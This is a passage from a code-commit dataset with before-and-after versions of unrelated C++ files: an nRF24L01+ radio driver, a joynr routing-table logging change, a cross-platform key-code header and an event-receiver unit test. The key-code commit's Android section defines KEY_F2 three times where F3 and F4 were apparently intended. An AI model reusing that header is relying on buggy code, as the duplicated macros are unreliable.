 \/\/ Configure primary receiver mode\n  write(CONFIG, (_BV(EN_CRC) | _BV(CRCO) | _BV(PWR_UP) | _BV(PRIM_RX)));\n  m_ce.set();\n  if (m_state == STANDBY_STATE) _delay_us(Tstby2a_us);\n  m_state = RX_STATE;\n}\n\nvoid\nNRF24L01P::set_transmit_mode(uint8_t dest)\n{\n  \/\/ Setup primary transmit address\n  addr_t tx_addr(m_addr.network, dest);\n  write(TX_ADDR, &tx_addr, sizeof(tx_addr));\n\n  \/\/ Trigger the transmitter mode\n  if (m_state != TX_STATE) {\n    m_ce.clear();\n    write(CONFIG, (_BV(EN_CRC) | _BV(CRCO) | _BV(PWR_UP)));\n    m_ce.set();\n  }\n\n  \/\/ Wait for the transmitter to become active\n  if (m_state == STANDBY_STATE) _delay_us(Tstby2a_us);\n  m_state = TX_STATE;\n}\n\nvoid\nNRF24L01P::standby()\n{\n  m_ce.clear();\n  _delay_us(Thce_us);\n  m_state = STANDBY_STATE;\n}\n\nvoid\nNRF24L01P::powerdown()\n{\n  delay(32);\n  m_ce.clear();\n  write(CONFIG, (_BV(EN_CRC) | _BV(CRCO)));\n  m_state = POWER_DOWN_STATE;\n}\n\nbool \nNRF24L01P::begin(const void* config)\n{\n  UNUSED(config);\n\n  \/\/ Setup hardware features, channel, bitrate, retransmission, dynamic payload\n  write(FEATURE, (_BV(EN_DPL) | _BV(EN_ACK_PAY) | _BV(EN_DYN_ACK)));\n  write(RF_CH, m_channel);\n  write(RF_SETUP, (RF_DR_2MBPS | RF_PWR_0DBM));\n  write(SETUP_RETR, ((DEFAULT_ARD << ARD) | (DEFAULT_ARC << ARC)));\n  write(DYNPD, DPL_PA);\n\n  \/\/ Setup hardware receive pipes address; network (16-bit), device (8-bit)\n  \/\/ P0: auto-acknowledge (see set_transmit_mode)\n  \/\/ P1: node address<network:device> with auto-acknowledge\n  \/\/ P2: broadcast<network:0>\n  addr_t rx_addr = m_addr;\n  write(SETUP_AW, AW_3BYTES);\n  write(RX_ADDR_P1, &rx_addr, sizeof(rx_addr));\n  write(RX_ADDR_P2, BROADCAST);\n  write(EN_RXADDR, (_BV(ERX_P2) | _BV(ERX_P1)));\n  write(EN_AA, (_BV(ENAA_P1) | _BV(ENAA_P0)));\n  \n  \/\/ Ready to go\n  powerup();\n  spi.attach(this);\n  m_irq.enable();\n  return (true);\n}\n\nint\nNRF24L01P::send(uint8_t dest, uint8_t port, const iovec_t* vec)\n{\n  \/\/ Sanity check the payload size\n  if (vec == NULL) return (-1);\n  size_t len = iovec_size(vec);\n  if (len > PAYLOAD_MAX) return (-1);\n\n  \/\/ Setting transmit destination\n  set_transmit_mode(dest);\n\n  \/\/ Write source address and payload to the transmit fifo\n  \/\/ Fix: Allow larger payload(30*3) with fragmentation\n  spi.acquire(this);\n    spi.begin();\n      uint8_t command = ((dest != BROADCAST) \n\t\t\t ? W_TX_PAYLOAD \n\t\t\t : W_TX_PAYLOAD_NO_ACK);\n      m_status = spi.transfer(command);\n      spi.transfer(m_addr.device);\n      spi.transfer(port);\n      spi.write(vec);\n    spi.end();\n  spi.release();\n  m_trans += 1;\n\n  \/\/ Check for auto-acknowledge pipe(0), and address setup and enable\n  if (dest != BROADCAST) {\n    addr_t tx_addr(m_addr.network, dest);\n    write(RX_ADDR_P0, &tx_addr, sizeof(tx_addr));  \n    write(EN_RXADDR, (_BV(ERX_P2) | _BV(ERX_P1) | _BV(ERX_P0)));\n  }\n\n  \/\/ Wait for transmission\n  do {\n    yield();\n    read_status();\n  } while (!m_status.tx_ds && !m_status.max_rt);\n  bool data_sent = m_status.tx_ds;\n\n  \/\/ Check for auto-acknowledge pipe(0) disable\n  if (dest != BROADCAST) {\n    write(EN_RXADDR, (_BV(ERX_P2) | _BV(ERX_P1)));\n  }\n\n  \/\/ Reset status bits and read retransmission counter and update\n  write(STATUS, _BV(MAX_RT) | _BV(TX_DS));\n  observe_tx_t observe = read_observe_tx();\n  m_retrans += observe.arc_cnt;\n\n  \/\/ Check that the message was delivered\n  if (data_sent) return (len);\n\n  \/\/ Failed to delivery\n  write(FLUSH_TX);\n  m_drops += 1;\n  return (-2);\n}\n\nint \nNRF24L01P::send(uint8_t dest, uint8_t port, const void* buf, size_t len)\n{\n  iovec_t vec[2];\n  iovec_t* vp = vec;\n  iovec_arg(vp, buf, len);\n  iovec_end(vp);\n  return (send(dest, port, vec));\n}\n\nbool\nNRF24L01P::available()\n{\n  \/\/ Check the receiver fifo\n  if (read_fifo_status().rx_empty) return (false);\n\n  \/\/ Sanity check the size of the payload. Might require a flush\n  if (read(R_RX_PL_WID) <= DEVICE_PAYLOAD_MAX) return (true);\n  write(FLUSH_RX);\n  return (false);\n}\n\nint\nNRF24L01P::recv(uint8_t& src, uint8_t& port, \n\t\tvoid* buf, size_t size, \n\t\tuint32_t ms)\n{\n  \/\/ Run in receiver mode\n  set_receiver_mode();\n\n  \/\/ Check if there is data available on any pipe\n  uint32_t start = RTC::millis();\n  while (!available()) {\n    if ((ms != 0) && (RTC::since(start) > ms)) return (-2);\n    yield();\n  } \n  m_dest = (m_status.rx_p_no == 1 ? m_addr.device : BROADCAST);\n  write(STATUS, _BV(RX_DR));\n  \n  \/\/ Check for payload error from device (Tab. 20, pp. 51, R_RX_PL_WID)\n  uint8_t count = read(R_RX_PL_WID) - 2;\n  if ((count > PAYLOAD_MAX) || (count > size)) {\n    write(FLUSH_RX);\n    return (-1);\n  }\n\n  \/\/ Read the source address, port and payload\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(R_RX_PAYLOAD);\n      src = spi.transfer(0);\n      port = spi.transfer(0);\n      spi.read(buf, count);\n    spi.end();\n  spi.release();\n  return (count);\n}\n\nvoid \nNRF24L01P::set_output_power_level(int8_t dBm)\n{\n  uint8_t pwr = RF_PWR_0DBM;\n  if      (dBm < -12) pwr = RF_PWR_18DBM;\n  else if (dBm < -6)  pwr = RF_PWR_12DBM; \n  else if (dBm < 0)   pwr = RF_PWR_6DBM;\n  write(RF_SETUP, (RF_DR_2MBPS | pwr));\n}\n\n\/\/ Output operators for bitfield status registers\nIOStream& operator<<(IOStream& outs, NRF24L01P::status_t status)\n{\n  outs << PSTR(\"RX_DR = \") << status.rx_dr \n       << PSTR(\", TX_DS = \") << status.tx_ds\n       << PSTR(\", MAX_RT = \") << status.max_rt\n       << PSTR(\", RX_P_NO = \") << status.rx_p_no\n       << PSTR(\", TX_FULL = \") << status.tx_full;\n  return (outs);\n}\n\nIOStream& operator<<(IOStream& outs, NRF24L01P::observe_tx_t observe)\n{\n  outs << PSTR(\"PLOS_CNT = \") << observe.plos_cnt\n       << PSTR(\", ARC_CNT = \") << observe.arc_cnt;\n  return (outs);\n}\n\nIOStream& operator<<(IOStream& outs, NRF24L01P::fifo_status_t fifo)\n{\n  outs << PSTR(\"RX_EMPTY = \") << fifo.rx_empty\n       << PSTR(\", RX_FULL = \") << fifo.rx_full\n       << PSTR(\", TX_EMPTY = \") << fifo.tx_empty \n       << PSTR(\", TX_FULL = \") << fifo.tx_full \n       << PSTR(\", TX_REUSE = \") << fifo.tx_reuse;\n  return (outs);\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * #%L\n * %%\n * Copyright (C) 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n\n#include \"joynr\/RoutingTable.h\"\n\nnamespace joynr\n{\n\nRoutingTable::RoutingTable() : multiIndexContainer()\n{\n}\n\nRoutingTable::~RoutingTable()\n{\n    JOYNR_LOG_TRACE(logger(), \"destructor: number of entries = {}\", multiIndexContainer.size());\n}\n\nboost::optional<routingtable::RoutingEntry> RoutingTable::lookupRoutingEntryByParticipantId(\n        const std::string& participantId) const\n{\n    auto& index = boost::multi_index::get<routingtable::tags::ParticipantId>(multiIndexContainer);\n    auto found = index.find(participantId);\n    if (found == index.end()) {\n        return boost::none;\n    }\n    return *found;\n}\n\nstd::unordered_set<std::string> RoutingTable::lookupParticipantIdsByAddress(\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> searchValue) const\n{\n    std::unordered_set<std::string> result;\n    const auto& addressIndex =\n            boost::multi_index::get<routingtable::tags::Address>(multiIndexContainer);\n    auto found = addressIndex.equal_range(searchValue);\n    for (auto it = found.first; it != found.second; ++it) {\n        result.insert(it->participantId);\n    }\n    return result;\n}\n\nbool RoutingTable::containsParticipantId(const std::string& participantId) const\n{\n    auto& index = boost::multi_index::get<routingtable::tags::ParticipantId>(multiIndexContainer);\n    auto found = index.find(participantId);\n    return found != index.end();\n}\n\nvoid RoutingTable::add(const std::string& participantId,\n                       bool isGloballyVisible,\n                       std::shared_ptr<const joynr::system::RoutingTypes::Address> address,\n                       std::int64_t expiryDateMs,\n                       bool isSticky)\n{\n    routingtable::RoutingEntry routingEntry(participantId,\n                                            std::move(address),\n                                            std::move(isGloballyVisible),\n                                            std::move(expiryDateMs),\n                                            std::move(isSticky));\n    auto result = multiIndexContainer.insert(routingEntry);\n    if (!result.second) {\n        multiIndexContainer.replace(result.first, routingEntry);\n    }\n    JOYNR_LOG_TRACE(logger(), \"Added participantId: {}\", participantId);\n}\n\nvoid RoutingTable::remove(const std::string& participantId)\n{\n    JOYNR_LOG_TRACE(logger(), \"Removing registered participantId: {}\", participantId);\n    multiIndexContainer.erase(participantId);\n}\n\nvoid RoutingTable::purge()\n{\n    JOYNR_LOG_TRACE(logger(), \"Purging expired entries\");\n    auto& index = boost::multi_index::get<routingtable::tags::ExpiryDate>(multiIndexContainer);\n    auto now = std::chrono::duration_cast<std::chrono::milliseconds>(\n                       std::chrono::system_clock::now().time_since_epoch()).count();\n    auto last = index.upper_bound(now);\n    std::vector<std::string> expiredParticipantIds;\n    for (auto routingEntryIterator = index.lower_bound(0); routingEntryIterator != last;\n         ++routingEntryIterator) {\n        if (!routingEntryIterator->isSticky) {\n            expiredParticipantIds.push_back(routingEntryIterator->participantId);\n        }\n    }\n    for (auto& participantId : expiredParticipantIds) {\n        remove(participantId);\n    }\n}\n\nbool RoutingTable::AddressEqual::operator()(\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> lhs,\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> rhs) const\n{\n    bool result = ((*lhs) == (*rhs));\n    return result;\n}\n\nsize_t RoutingTable::AddressHash::operator()(\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> address) const\n{\n    return address->hashCode();\n}\n\n} \/\/ namespace joynr\n<commit_msg>[C++] RoutingTable logs changes on level info<commit_after>\/*\n * #%L\n * %%\n * Copyright (C) 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n\n#include \"joynr\/RoutingTable.h\"\n\nnamespace joynr\n{\n\nRoutingTable::RoutingTable() : multiIndexContainer()\n{\n}\n\nRoutingTable::~RoutingTable()\n{\n    JOYNR_LOG_TRACE(logger(), \"destructor: number of entries = {}\", multiIndexContainer.size());\n}\n\nboost::optional<routingtable::RoutingEntry> RoutingTable::lookupRoutingEntryByParticipantId(\n        const std::string& participantId) const\n{\n    auto& index = boost::multi_index::get<routingtable::tags::ParticipantId>(multiIndexContainer);\n    auto found = index.find(participantId);\n    if (found == index.end()) {\n        return boost::none;\n    }\n    return *found;\n}\n\nstd::unordered_set<std::string> RoutingTable::lookupParticipantIdsByAddress(\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> searchValue) const\n{\n    std::unordered_set<std::string> result;\n    const auto& addressIndex =\n            boost::multi_index::get<routingtable::tags::Address>(multiIndexContainer);\n    auto found = addressIndex.equal_range(searchValue);\n    for (auto it = found.first; it != found.second; ++it) {\n        result.insert(it->participantId);\n    }\n    return result;\n}\n\nbool RoutingTable::containsParticipantId(const std::string& participantId) const\n{\n    auto& index = boost::multi_index::get<routingtable::tags::ParticipantId>(multiIndexContainer);\n    auto found = index.find(participantId);\n    return found != index.end();\n}\n\nvoid RoutingTable::add(const std::string& participantId,\n                       bool isGloballyVisible,\n                       std::shared_ptr<const joynr::system::RoutingTypes::Address> address,\n                       std::int64_t expiryDateMs,\n                       bool isSticky)\n{\n    routingtable::RoutingEntry routingEntry(participantId,\n                                            std::move(address),\n                                            std::move(isGloballyVisible),\n                                            std::move(expiryDateMs),\n                                            std::move(isSticky));\n    auto result = multiIndexContainer.insert(routingEntry);\n    if (!result.second) {\n        multiIndexContainer.replace(result.first, routingEntry);\n        JOYNR_LOG_INFO(logger(), \"Replaced routing entry: {}\", routingEntry.toString());\n    } else {\n        JOYNR_LOG_INFO(logger(), \"Added routing entry: {}\", routingEntry.toString());\n    }\n}\n\nvoid RoutingTable::remove(const std::string& participantId)\n{\n    JOYNR_LOG_INFO(logger(), \"Removing routing entry for participantId: {}\", participantId);\n    multiIndexContainer.erase(participantId);\n}\n\nvoid RoutingTable::purge()\n{\n    bool expiredEntriesFound = false;\n    auto& index = boost::multi_index::get<routingtable::tags::ExpiryDate>(multiIndexContainer);\n    auto now = std::chrono::duration_cast<std::chrono::milliseconds>(\n                       std::chrono::system_clock::now().time_since_epoch()).count();\n    auto last = index.upper_bound(now);\n    std::vector<std::string> expiredParticipantIds;\n    for (auto routingEntryIterator = index.lower_bound(0); routingEntryIterator != last;\n         ++routingEntryIterator) {\n        if (!routingEntryIterator->isSticky) {\n            expiredParticipantIds.push_back(routingEntryIterator->participantId);\n            expiredEntriesFound = true;\n        }\n    }\n    if (expiredEntriesFound) {\n        JOYNR_LOG_INFO(logger(), \"Purging expired routing entries\");\n    }\n    for (auto& participantId : expiredParticipantIds) {\n        remove(participantId);\n    }\n}\n\nbool RoutingTable::AddressEqual::operator()(\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> lhs,\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> rhs) const\n{\n    bool result = ((*lhs) == (*rhs));\n    return result;\n}\n\nsize_t RoutingTable::AddressHash::operator()(\n        std::shared_ptr<const joynr::system::RoutingTypes::Address> address) const\n{\n    return address->hashCode();\n}\n\n} \/\/ namespace joynr\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* Key codes for multiple platforms\n*\n* Copyright (C) 2016 by Sascha Willems - www.saschawillems.de\n*\n* This code is licensed under the MIT license (MIT) (http:\/\/opensource.org\/licenses\/MIT)\n*\/\n\n#pragma once\n\n#if defined(_WIN32)\n#define KEY_ESCAPE VK_ESCAPE \n#define KEY_F1 VK_F1\n#define KEY_F2 VK_F2\n#define KEY_W 0x57\n#define KEY_A 0x41\n#define KEY_S 0x53\n#define KEY_D 0x44\n#define KEY_P 0x50\n#define KEY_SPACE 0x20\n#define KEY_KPADD 0x6B\n#define KEY_KPSUB 0x6D\n#define KEY_B 0x42\n#define KEY_F 0x46\n#define KEY_L 0x4C\n#define KEY_N 0x4E\n#define KEY_O 0x4F\n#define KEY_T 0x54\n#elif defined(__ANDROID__)\n\/\/ Dummy key codes \n#define KEY_ESCAPE 0x0\n#define KEY_F1 0x1\n#define KEY_F2 0x2\n#define KEY_W 0x3\n#define KEY_A 0x4\n#define KEY_S 0x5\n#define KEY_D 0x6\n#define KEY_P 0x7\n#define KEY_SPACE 0x8\n#define KEY_KPADD 0x9\n#define KEY_KPSUB 0xA\n#define KEY_B 0xB\n#define KEY_F 0xC\n#define KEY_L 0xD\n#define KEY_N 0xE\n#define KEY_O 0xF\n#define KEY_T 0x10\n#elif defined(__linux__)\n#define KEY_ESCAPE 0x9\n#define KEY_F1 0x43\n#define KEY_F2 0x44\n#define KEY_W 0x19\n#define KEY_A 0x26\n#define KEY_S 0x27\n#define KEY_D 0x28\n#define KEY_P 0x21\n#define KEY_SPACE 0x41\n#define KEY_KPADD 0x56\n#define KEY_KPSUB 0x52\n#define KEY_B 0x38\n#define KEY_F 0x29\n#define KEY_L 0x2E\n#define KEY_N 0x39\n#define KEY_O 0x20\n#define KEY_T 0x1C\n#endif\n\n\/\/ todo: Android gamepad keycodes outside of define for now\n#define GAMEPAD_BUTTON_A 0x1000\n#define GAMEPAD_BUTTON_B 0x1001\n#define GAMEPAD_BUTTON_X 0x1002\n#define GAMEPAD_BUTTON_Y 0x1003\n#define GAMEPAD_BUTTON_L1 0x1004\n#define GAMEPAD_BUTTON_R1 0x1005\n#define GAMEPAD_BUTTON_START 0x1006\n<commit_msg>Additional keycodes<commit_after>\/*\n* Key codes for multiple platforms\n*\n* Copyright (C) 2016 by Sascha Willems - www.saschawillems.de\n*\n* This code is licensed under the MIT license (MIT) (http:\/\/opensource.org\/licenses\/MIT)\n*\/\n\n#pragma once\n\n#if defined(_WIN32)\n#define KEY_ESCAPE VK_ESCAPE \n#define KEY_F1 VK_F1\n#define KEY_F2 VK_F2\n#define KEY_F3 VK_F3\n#define KEY_F4 VK_F4\n#define KEY_W 0x57\n#define KEY_A 0x41\n#define KEY_S 0x53\n#define KEY_D 0x44\n#define KEY_P 0x50\n#define KEY_SPACE 0x20\n#define KEY_KPADD 0x6B\n#define KEY_KPSUB 0x6D\n#define KEY_B 0x42\n#define KEY_F 0x46\n#define KEY_L 0x4C\n#define KEY_N 0x4E\n#define KEY_O 0x4F\n#define KEY_T 0x54\n#elif defined(__ANDROID__)\n\/\/ Dummy key codes \n#define KEY_ESCAPE 0x0\n#define KEY_F1 0x1\n#define KEY_F2 0x2\n#define KEY_F2 0x11\n#define KEY_F2 0x12\n#define KEY_W 0x3\n#define KEY_A 0x4\n#define KEY_S 0x5\n#define KEY_D 0x6\n#define KEY_P 0x7\n#define KEY_SPACE 0x8\n#define KEY_KPADD 0x9\n#define KEY_KPSUB 0xA\n#define KEY_B 0xB\n#define KEY_F 0xC\n#define KEY_L 0xD\n#define KEY_N 0xE\n#define KEY_O 0xF\n#define KEY_T 0x10\n#elif defined(__linux__)\n#define KEY_ESCAPE 0x9\n#define KEY_F1 0x43\n#define KEY_F2 0x44\n#define KEY_F3 0x45\n#define KEY_F4 0x46\n#define KEY_W 0x19\n#define KEY_A 0x26\n#define KEY_S 0x27\n#define KEY_D 0x28\n#define KEY_P 0x21\n#define KEY_SPACE 0x41\n#define KEY_KPADD 0x56\n#define KEY_KPSUB 0x52\n#define KEY_B 0x38\n#define KEY_F 0x29\n#define KEY_L 0x2E\n#define KEY_N 0x39\n#define KEY_O 0x20\n#define KEY_T 0x1C\n#endif\n\n\/\/ todo: Android gamepad keycodes outside of define for now\n#define GAMEPAD_BUTTON_A 0x1000\n#define GAMEPAD_BUTTON_B 0x1001\n#define GAMEPAD_BUTTON_X 0x1002\n#define GAMEPAD_BUTTON_Y 0x1003\n#define GAMEPAD_BUTTON_L1 0x1004\n#define GAMEPAD_BUTTON_R1 0x1005\n#define GAMEPAD_BUTTON_START 0x1006\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"EventReceiverTest.h\"\n#include \"Autowiring\/Autowired.h\"\n#include \"Autowiring\/CoreThread.h\"\n#include <vector>\n\nusing namespace std;\n\nclass CopyCounter {\npublic:\n  CopyCounter(void):\n    m_count(0)\n  {}\n\n  CopyCounter(const CopyCounter& rhs):\n    m_count(rhs.m_count + 1)\n  {}\n\n  \/\/\/ <summary>\n  \/\/\/ Special case move ctor, which won't increment the count\n  \/\/\/ <\/summary>\n  CopyCounter(CopyCounter&& rhs):\n    m_count(rhs.m_count)\n  {}\n\n  int m_count;\n};\n\nclass CallableInterface:\n  public EventReceiver\n{\npublic:\n  virtual void ZeroArgs(void) = 0;\n  virtual void OneArg(int arg) = 0;\n  virtual void CopyVector(const vector<int>& vec) = 0;\n  virtual void CopyVectorForwarded(vector<int>&& vec) = 0;\n  virtual void TrackCopy(CopyCounter&& ctr) = 0;\n  virtual void AllDone(void) = 0;\n};\n\nclass SimpleSender:\n  public EventManager<CallableInterface>\n{\n};\n\nclass SimpleReceiver:\n  public CoreThread,\n  public CallableInterface\n{\npublic:\n  SimpleReceiver(void):\n    CoreThread(\"SimpleReceiver\"),\n    m_zero(false),\n    m_one(false),\n    m_oneArg(0),\n    m_barrier(2)\n  {\n    Ready();\n  }\n\n  \/\/ Manifest of functions called:\n  bool m_zero;\n\n  bool m_one;\n  int m_oneArg;\n\n  \/\/ Copy operation fields:\n  vector<int> m_myVec;\n  CopyCounter m_myCtr;\n\n  \/\/ Continuity barrier:\n  boost::barrier m_barrier;\n\n  void ZeroArgs(void) override {\n    m_zero = true;\n  }\n\n  void OneArg(int arg) override {\n    m_one = true;\n    m_oneArg = arg;\n  }\n\n  void CopyVector(const vector<int>& vec) override {\n    \/\/ Copy out the argument:\n    m_myVec = vec;\n  }\n\n  void CopyVectorForwarded(vector<int>&& vec) override {\n    \/\/ Copy out the argument:\n    m_myVec = vec;\n  }\n\n  void TrackCopy(CopyCounter&& ctr) override {\n    m_myCtr = ctr;\n  }\n\n  void AllDone(void) override {\n    Stop();\n  }\n\n  void Run(void) override {\n    m_barrier.wait();\n    CoreThread::Run();\n  }\n};\n\nEventReceiverTest::EventReceiverTest(void) {\n  AutoCurrentContext ctxt;\n\n  \/\/ Start up the context:\n  ctxt->InitiateCoreThreads();\n}\n\nTEST_F(EventReceiverTest, SimpleMethodCall) {\n  \/\/ Try firing the event first:\n  sender->Fire(&CallableInterface::ZeroArgs)();\n  sender->Fire(&CallableInterface::OneArg)(100);\n\n  \/\/ Verify that stuff happens even when the thread isn't running:\n  EXPECT_TRUE(receiver->m_zero);\n  EXPECT_TRUE(receiver->m_one);\n  EXPECT_EQ(100, receiver->m_oneArg);\n  \n  \/\/ Unblock:\n  receiver->m_barrier.wait();\n}\n\nTEST_F(EventReceiverTest, DeferredInvoke) {\n  \/\/ Deferred fire:\n  sender->Defer(&CallableInterface::ZeroArgs)();\n  sender->Defer(&CallableInterface::OneArg)(101);\n  sender->Defer(&CallableInterface::AllDone)();\n\n  \/\/ Verify that nothing is hit yet:\n  EXPECT_FALSE(receiver->m_zero) << \"Zero-argument call made prematurely\";\n  EXPECT_FALSE(receiver->m_one) << \"One-argument call made prematurely\";\n  EXPECT_TRUE(receiver->IsRunning()) << \"Receiver is terminated\";\n\n  \/\/ Unblock:\n  receiver->m_barrier.wait();\n\n  \/\/ Now wait until all events are processed:\n  receiver->Wait();\n\n  \/\/ Validate deferred firing:\n  EXPECT_TRUE(receiver->m_zero);\n  EXPECT_TRUE(receiver->m_one);\n  EXPECT_EQ(101, receiver->m_oneArg) << \"Argument was not correctly propagated through a deferred call\";\n}\n\nTEST_F(EventReceiverTest, NontrivialCopy) {\n  static const size_t sc_numElems = 10;\n\n  \/\/ Create the vector we're going to copy over:\n  vector<int> ascending;\n  for(size_t i = 0; i < sc_numElems; i++)\n    ascending.push_back(i);\n\n  \/\/ Deferred fire:\n  sender->Defer(&CallableInterface::CopyVector)(ascending);\n  sender->Defer(&CallableInterface::AllDone)();\n\n  \/\/ Verify that nothing is hit yet:\n  EXPECT_TRUE(receiver->m_myVec.empty()) << \"Event handler invoked before barrier was hit; it should have been deferred\";\n  EXPECT_TRUE(receiver->IsRunning()) << \"Receiver is terminated\";\n\n  \/\/ Unblock:\n  receiver->m_barrier.wait();\n\n  \/\/ Now wait until all events are processed:\n  receiver->Wait();\n\n  \/\/ Validate our vectors:\n  ASSERT_EQ(10, receiver->m_myVec.size()) << \"Receiver was not populated correctly with a vector\";\n  for(size_t i = 0; i < sc_numElems; i++)\n    EXPECT_EQ(i, ascending[i]) << \"Element at offset \" << i << \" was incorrectly copied\";\n}\n\nTEST_F(EventReceiverTest, VerifyNoUnnecessaryCopies) {\n  \/\/ Make our copy counter:\n  CopyCounter ctr;\n\n  \/\/ Verify the counter correctly tracks the number of times it was copied:\n  {\n    CopyCounter myCopy1 = ctr;\n    ASSERT_EQ(1, myCopy1.m_count) << \"Copy counter appears to be broken; cannot run test\";\n\n    CopyCounter myCopy2 = myCopy1;\n    ASSERT_EQ(2, myCopy2.m_count) << \"Secondary counter appears to be broken; cannot run test\";\n\n    CopyCounter myCopy3(std::move(myCopy2));\n    ASSERT_EQ(2, myCopy3.m_count) << \"Move ctor doesn't appear to be invoked correctly\";\n\n    \/\/ Try a move copy\n    CopyCounter myCopy4;\n    myCopy4 = std::move(myCopy3);\n    ASSERT_EQ(2, myCopy4.m_count) << \"Move assignment didn't correctly propagate the current count\";\n  }\n\n  \/\/ Now we \n}\n<commit_msg>Tests made a bit more resilient against unexpected termination<commit_after>#include \"stdafx.h\"\n#include \"EventReceiverTest.h\"\n#include \"Autowiring\/Autowired.h\"\n#include \"Autowiring\/CoreThread.h\"\n#include <vector>\n\nusing namespace std;\n\nclass CopyCounter {\npublic:\n  CopyCounter(void):\n    m_count(0)\n  {}\n\n  CopyCounter(const CopyCounter& rhs):\n    m_count(rhs.m_count + 1)\n  {}\n\n  \/\/\/ <summary>\n  \/\/\/ Special case move ctor, which won't increment the count\n  \/\/\/ <\/summary>\n  CopyCounter(CopyCounter&& rhs):\n    m_count(rhs.m_count)\n  {}\n\n  int m_count;\n};\n\nclass CallableInterface:\n  public EventReceiver\n{\npublic:\n  virtual void ZeroArgs(void) = 0;\n  virtual void OneArg(int arg) = 0;\n  virtual void CopyVector(const vector<int>& vec) = 0;\n  virtual void CopyVectorForwarded(vector<int>&& vec) = 0;\n  virtual void TrackCopy(CopyCounter&& ctr) = 0;\n  virtual void AllDone(void) = 0;\n};\n\nclass SimpleSender:\n  public EventManager<CallableInterface>\n{\n};\n\nclass SimpleReceiver:\n  public CoreThread,\n  public CallableInterface\n{\npublic:\n  SimpleReceiver(void):\n    CoreThread(\"SimpleReceiver\"),\n    m_zero(false),\n    m_one(false),\n    m_oneArg(0),\n    m_barrier(2),\n    m_barrierDone(false)\n  {\n    Ready();\n  }\n\nprivate:\n  \/\/ Continuity barrier, used to pause processing while in Run\n  boost::barrier m_barrier;\n  bool m_barrierDone;\n\npublic:\n  \/\/ Manifest of functions called:\n  bool m_zero;\n\n  bool m_one;\n  int m_oneArg;\n\n  \/\/ Copy operation fields:\n  vector<int> m_myVec;\n  CopyCounter m_myCtr;\n\n  \/\/\/\n  \/\/ Interface utility methods:\n  \/\/\/\n  void ZeroArgs(void) override {\n    m_zero = true;\n  }\n\n  void OneArg(int arg) override {\n    m_one = true;\n    m_oneArg = arg;\n  }\n\n  void CopyVector(const vector<int>& vec) override {\n    \/\/ Copy out the argument:\n    m_myVec = vec;\n  }\n\n  void CopyVectorForwarded(vector<int>&& vec) override {\n    \/\/ Copy out the argument:\n    m_myVec = vec;\n  }\n\n  void TrackCopy(CopyCounter&& ctr) override {\n    m_myCtr = ctr;\n  }\n\n  \/\/ Trivial shutdown override\n  void AllDone(void) override {\n    Stop();\n  }\n\n  \/\/ Overridden here so we can hit the barrier if we're still waiting on it\n  void Stop() override {\n    Proceed();\n    CoreThread::Stop();\n  }\n\n  \/\/\/ <summary>\n  \/\/\/ Invoked to cause Run to continue its processing\n  \/\/\/ <\/summary>\n  void Proceed(void) {\n    if(!m_barrierDone)\n      m_barrier.wait();\n    m_barrierDone = true;\n  }\n\n  \/\/\/\n  \/\/ Runs the thread\n  \/\/\/\n  void Run(void) override {\n    m_barrier.wait();\n    CoreThread::Run();\n  }\n};\n\nEventReceiverTest::EventReceiverTest(void) {\n  AutoCurrentContext ctxt;\n\n  \/\/ Start up the context:\n  ctxt->InitiateCoreThreads();\n}\n\nTEST_F(EventReceiverTest, SimpleMethodCall) {\n  \/\/ Try firing the event first:\n  sender->Fire(&CallableInterface::ZeroArgs)();\n  sender->Fire(&CallableInterface::OneArg)(100);\n\n  \/\/ Verify that stuff happens even when the thread isn't running:\n  EXPECT_TRUE(receiver->m_zero);\n  EXPECT_TRUE(receiver->m_one);\n  EXPECT_EQ(100, receiver->m_oneArg);\n  \n  \/\/ Unblock:\n  receiver->Proceed();\n}\n\nTEST_F(EventReceiverTest, DeferredInvoke) {\n  \/\/ Deferred fire:\n  sender->Defer(&CallableInterface::ZeroArgs)();\n  sender->Defer(&CallableInterface::OneArg)(101);\n  sender->Defer(&CallableInterface::AllDone)();\n\n  \/\/ Verify that nothing is hit yet:\n  EXPECT_FALSE(receiver->m_zero) << \"Zero-argument call made prematurely\";\n  EXPECT_FALSE(receiver->m_one) << \"One-argument call made prematurely\";\n  EXPECT_TRUE(receiver->IsRunning()) << \"Receiver is terminated\";\n\n  \/\/ Unblock:\n  receiver->Proceed();\n\n  \/\/ Now wait until all events are processed:\n  receiver->Wait();\n\n  \/\/ Validate deferred firing:\n  EXPECT_TRUE(receiver->m_zero);\n  EXPECT_TRUE(receiver->m_one);\n  EXPECT_EQ(101, receiver->m_oneArg) << \"Argument was not correctly propagated through a deferred call\";\n}\n\nTEST_F(EventReceiverTest, NontrivialCopy) {\n  static const size_t sc_numElems = 10;\n\n  \/\/ Create the vector we're going to copy over:\n  vector<int> ascending;\n  for(size_t i = 0; i < sc_numElems; i++)\n    ascending.push_back(i);\n\n  \/\/ Deferred fire:\n  sender->Defer(&CallableInterface::CopyVector)(ascending);\n  sender->Defer(&CallableInterface::AllDone)();\n\n  \/\/ Verify that nothing is hit 